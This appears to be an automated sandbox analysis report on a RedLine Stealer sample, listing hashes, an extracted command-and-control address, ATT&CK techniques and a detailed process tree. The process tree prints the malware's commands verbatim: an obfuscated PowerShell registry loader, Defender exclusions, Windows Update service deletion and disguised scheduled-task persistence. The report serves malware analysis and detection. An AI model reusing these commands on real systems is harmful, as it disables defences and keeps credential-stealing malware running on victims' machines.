redline | d4f7c5d0b04ff56a3134b2edfcef0a690b4d0f68ff047cbf624ab12d5dd8998d

Analysis

max time kernel
150s
max time network
142s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
07/11/2022, 15:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2a6aec6a665529ab13edfc4b6f26ebeb.exe
Size 348KB
Sample221107-skk4msfdbp
SHA256 d4f7c5d0b04ff56a3134b2edfcef0a690b4d0f68ff047cbf624ab12d5dd8998d
MD5 2a6aec6a665529ab13edfc4b6f26ebeb
SHA1 32de8f40f074317a8fa32fdbd3f38e38bc39947e
SHA512 028f6b3d6c9b1a767074c380ad85ba02e9c97686a23b96ff93fa8c07931c44cd4c309840f9e8343625fa47fb5c45c4318d3abafa294f5c600fc673962b52758b
SSDEEP 6144:R51PihhECV2woIcztK7LJv8evBGROAOzxhTlYBYuil+x9kxejShapkx5oHQwRXS+:R51PgSCV2woIcXOpeB4lVMjShaOxmH1h
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline @wuz1muu evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

@wuz1muu

79.137.204.112:80

Attributes

auth_value
a3a33a7e6530b7d72a0b8cb8ad20aa64

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/1900-56-0x0000000000090000-0x00000000000B8000-memory.dmp	family_redline
behavioral1/memory/1900-61-0x00000000000B21E2-mapping.dmp	family_redline
behavioral1/memory/1900-62-0x0000000000090000-0x00000000000B8000-memory.dmp	family_redline
behavioral1/memory/1900-63-0x0000000000090000-0x00000000000B8000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1280 created 420	1280	powershell.EXE	3
PID 768 created 420	768	powershell.EXE	3

Downloads MZ/PE file

Executes dropped EXE 4 IoCs

pid	Process
432	ofg.exe
800	brave.exe
1344	setup.exe
1588	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Loads dropped DLL 7 IoCs

pid	Process
1900	AppLaunch.exe
1900	AppLaunch.exe
1900	AppLaunch.exe
1900	AppLaunch.exe
1344	setup.exe
1692	taskeng.exe
1344	setup.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1228 set thread context of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 800 set thread context of 316	800	brave.exe	62
PID 1280 set thread context of 1768	1280	powershell.EXE	72
PID 768 set thread context of 1468	768	powershell.EXE	73

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1780	sc.exe
1640	sc.exe
1336	sc.exe
1664	sc.exe
1892	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1492	1228	WerFault.exe	26

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
784	schtasks.exe
1416	schtasks.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 8045e7e4c3f2d801	powershell.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1900	AppLaunch.exe
1900	AppLaunch.exe
548	powershell.exe
1352	powershell.exe
956	powershell.exe
1556	powershell.exe
768	powershell.EXE
1280	powershell.EXE
1280	powershell.EXE
1768	dllhost.exe
1768	dllhost.exe
1768	dllhost.exe
1768	dllhost.exe
768	powershell.EXE
1468	dllhost.exe
1468	dllhost.exe
1468	dllhost.exe
1468	dllhost.exe
1468	dllhost.exe
1468	dllhost.exe
960	powershell.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	1900	AppLaunch.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeShutdownPrivilege	1588	powercfg.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeShutdownPrivilege	1472	powercfg.exe
Token: SeShutdownPrivilege	1004	powercfg.exe
Token: SeShutdownPrivilege	1760	powercfg.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	768	powershell.EXE
Token: SeDebugPrivilege	1280	powershell.EXE
Token: SeDebugPrivilege	1280	powershell.EXE
Token: SeDebugPrivilege	1768	dllhost.exe
Token: SeDebugPrivilege	768	powershell.EXE
Token: SeDebugPrivilege	1468	dllhost.exe
Token: SeAuditPrivilege	868	svchost.exe
Token: SeDebugPrivilege	960	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1900	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	28
PID 1228 wrote to memory of 1492	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	29
PID 1228 wrote to memory of 1492	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	29
PID 1228 wrote to memory of 1492	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	29
PID 1228 wrote to memory of 1492	1228	2a6aec6a665529ab13edfc4b6f26ebeb.exe	29
PID 1900 wrote to memory of 432	1900	AppLaunch.exe	31
PID 1900 wrote to memory of 432	1900	AppLaunch.exe	31
PID 1900 wrote to memory of 432	1900	AppLaunch.exe	31
PID 1900 wrote to memory of 432	1900	AppLaunch.exe	31
PID 432 wrote to memory of 1536	432	ofg.exe	32
PID 432 wrote to memory of 1536	432	ofg.exe	32
PID 432 wrote to memory of 1536	432	ofg.exe	32
PID 1536 wrote to memory of 784	1536	cmd.exe	34
PID 1536 wrote to memory of 784	1536	cmd.exe	34
PID 1536 wrote to memory of 784	1536	cmd.exe	34
PID 1900 wrote to memory of 800	1900	AppLaunch.exe	35
PID 1900 wrote to memory of 800	1900	AppLaunch.exe	35
PID 1900 wrote to memory of 800	1900	AppLaunch.exe	35
PID 1900 wrote to memory of 800	1900	AppLaunch.exe	35
PID 800 wrote to memory of 548	800	brave.exe	37
PID 800 wrote to memory of 548	800	brave.exe	37
PID 800 wrote to memory of 548	800	brave.exe	37
PID 1900 wrote to memory of 1344	1900	AppLaunch.exe	36
PID 1900 wrote to memory of 1344	1900	AppLaunch.exe	36
PID 1900 wrote to memory of 1344	1900	AppLaunch.exe	36
PID 1900 wrote to memory of 1344	1900	AppLaunch.exe	36
PID 1900 wrote to memory of 1344	1900	AppLaunch.exe	36
PID 1900 wrote to memory of 1344	1900	AppLaunch.exe	36
PID 1900 wrote to memory of 1344	1900	AppLaunch.exe	36
PID 1344 wrote to memory of 1556	1344	setup.exe	39
PID 1344 wrote to memory of 1556	1344	setup.exe	39
PID 1344 wrote to memory of 1556	1344	setup.exe	39
PID 1344 wrote to memory of 1556	1344	setup.exe	39
PID 1344 wrote to memory of 1556	1344	setup.exe	39
PID 1344 wrote to memory of 1556	1344	setup.exe	39
PID 1344 wrote to memory of 1556	1344	setup.exe	39
PID 800 wrote to memory of 1636	800	brave.exe	41
PID 800 wrote to memory of 1636	800	brave.exe	41
PID 800 wrote to memory of 1636	800	brave.exe	41
PID 800 wrote to memory of 704	800	brave.exe	42
PID 800 wrote to memory of 704	800	brave.exe	42
PID 800 wrote to memory of 704	800	brave.exe	42
PID 800 wrote to memory of 1352	800	brave.exe	45
PID 800 wrote to memory of 1352	800	brave.exe	45
PID 800 wrote to memory of 1352	800	brave.exe	45
PID 1636 wrote to memory of 1640	1636	cmd.exe	47
PID 1636 wrote to memory of 1640	1636	cmd.exe	47
PID 1636 wrote to memory of 1640	1636	cmd.exe	47
PID 1636 wrote to memory of 1336	1636	cmd.exe	48
PID 1636 wrote to memory of 1336	1636	cmd.exe	48
PID 1636 wrote to memory of 1336	1636	cmd.exe	48
PID 704 wrote to memory of 1588	704	cmd.exe	49
PID 704 wrote to memory of 1588	704	cmd.exe	49
PID 704 wrote to memory of 1588	704	cmd.exe	49
PID 1636 wrote to memory of 1664	1636	cmd.exe	50
PID 1636 wrote to memory of 1664	1636	cmd.exe	50

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:480

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:464
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:748
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:804
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1176
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:660
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:828
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:868
- - \\?\C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T /R
    3⤵
    PID:1208
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {8CB3FAFB-8CF9-4575-A8C0-B7BB90309058} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Loads dropped DLL
    PID:1692
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:768
  - - C:\Program Files\Google\Chrome\updater.exe
      "C:\Program Files\Google\Chrome\updater.exe"
      4⤵
      Executes dropped EXE
      PID:1588
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        
        PID:1920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1280
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:328
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:580
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1056
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1084
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1152
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1936
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1976

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{018920b8-b445-40f2-b1e9-27d014d7b103}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1768
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{403a06f5-4e30-41f2-9c04-a0b4cb129b50}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1468

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:488

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1212
- C:\Users\Admin\AppData\Local\Temp\2a6aec6a665529ab13edfc4b6f26ebeb.exe
  "C:\Users\Admin\AppData\Local\Temp\2a6aec6a665529ab13edfc4b6f26ebeb.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
      "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:432
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe "/C schtasks /create /tn \ipNnOYSRDI /tr \"C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe\" /st 00:00 /du 9999:59 /sc once /ri 1 /f"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1536
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \ipNnOYSRDI /tr \"C:\Users\Admin\AppData\Roaming\ipNnOYSRDI\svcupdater.exe\" /st 00:00 /du 9999:59 /sc once /ri 1 /f"
        6⤵
        Creates scheduled task(s)
        
        PID:784
  - - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
      "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Program Files directory
      Suspicious use of WriteProcessMemory
      PID:800
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:548
    - - C:\Windows\system32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1636
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:1640
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:1336
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:1664
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:1892
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:1780
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        6⤵
        
        PID:892
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        6⤵
        
        PID:1232
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        6⤵
        Modifies security service
        
        PID:288
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        6⤵
        
        PID:1768
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:1272
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:704
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1588
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1472
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1004
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1352
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
        6⤵
        Creates scheduled task(s)
        
        PID:1416
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Drops file in Windows directory
        
        PID:316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:956
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        6⤵
        
        PID:856
  - - C:\Users\Admin\AppData\Local\Microsoft\setup.exe
      "C:\Users\Admin\AppData\Local\Microsoft\setup.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1344
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1556
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:960
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 48
    3⤵
    - Program crash
    PID:1492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 2.8MB
SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
MD5 eb27bb8cfa99d659e4fe023e9002ecd1
SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
Size 2.8MB
SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
MD5 9253ed091d81e076a3037e12af3dc871
SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path C:\Users\Admin\AppData\Local\Microsoft\brave.exe
Size 2.8MB
SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
MD5 9253ed091d81e076a3037e12af3dc871
SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
Size 4.8MB
SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
MD5 cd4ac234ee1c9fca552d11ff31b9c5cc
SHA1 e3448c185bdf0e0a0859f2b28d1b5f28c38a0064
SHA512 d07048d1359350c9913d2727cb40969383eaca0593b7395d2c51435e0defaa91f4c95f038bb1877847d520efa0150359860036f6e6e1c3e2ece24bc4ff8c6b9f
SSDEEP 49152:tAM3CiGxBRJHy51FmJgBaShRgd5MYh43VvATtg0IEqYjla27VdS5g+A:aMLGxBk1FmJgX2l4lv3EdZv+A
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
Size 4.8MB
SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
MD5 cd4ac234ee1c9fca552d11ff31b9c5cc
SHA1 e3448c185bdf0e0a0859f2b28d1b5f28c38a0064
SHA512 d07048d1359350c9913d2727cb40969383eaca0593b7395d2c51435e0defaa91f4c95f038bb1877847d520efa0150359860036f6e6e1c3e2ece24bc4ff8c6b9f
SSDEEP 49152:tAM3CiGxBRJHy51FmJgBaShRgd5MYh43VvATtg0IEqYjla27VdS5g+A:aMLGxBk1FmJgX2l4lv3EdZv+A
MD5 SHA1 SHA512 SSDEEP

Submit Download

setup.exe

Path C:\Users\Admin\AppData\Local\Microsoft\setup.exe
Size 5.9MB
SHA256 55af8940100b432c2873c1b4ec0068516ec9459ae313fd1d3ac2957ef7abe033
MD5 96cbbd2930425374e0d2d6e251be9834
SHA1 7870a26f33469c4cef96cecd4e0b20c82fa4e1af
SHA512 0753d1b927b76b8765ae7657f5cb339eb861c2c6f567dd40cb51dc17f76287ea061236723278a6c06fc29d6452243e12213ccfbd3236d4709719a0104554b0a9
SSDEEP 98304:UJlQcZOWdS58SUxTzskoHi3a7UpYLzwnGuqfkIF8RK2qBHNp6mgC6ZwECQ0em5v8:UJltOuS54xTzs5XTLFBfkJ42qBtpJ2wU
MD5 SHA1 SHA512 SSDEEP

Submit Download

setup.exe

Path C:\Users\Admin\AppData\Local\Microsoft\setup.exe
Size 5.9MB
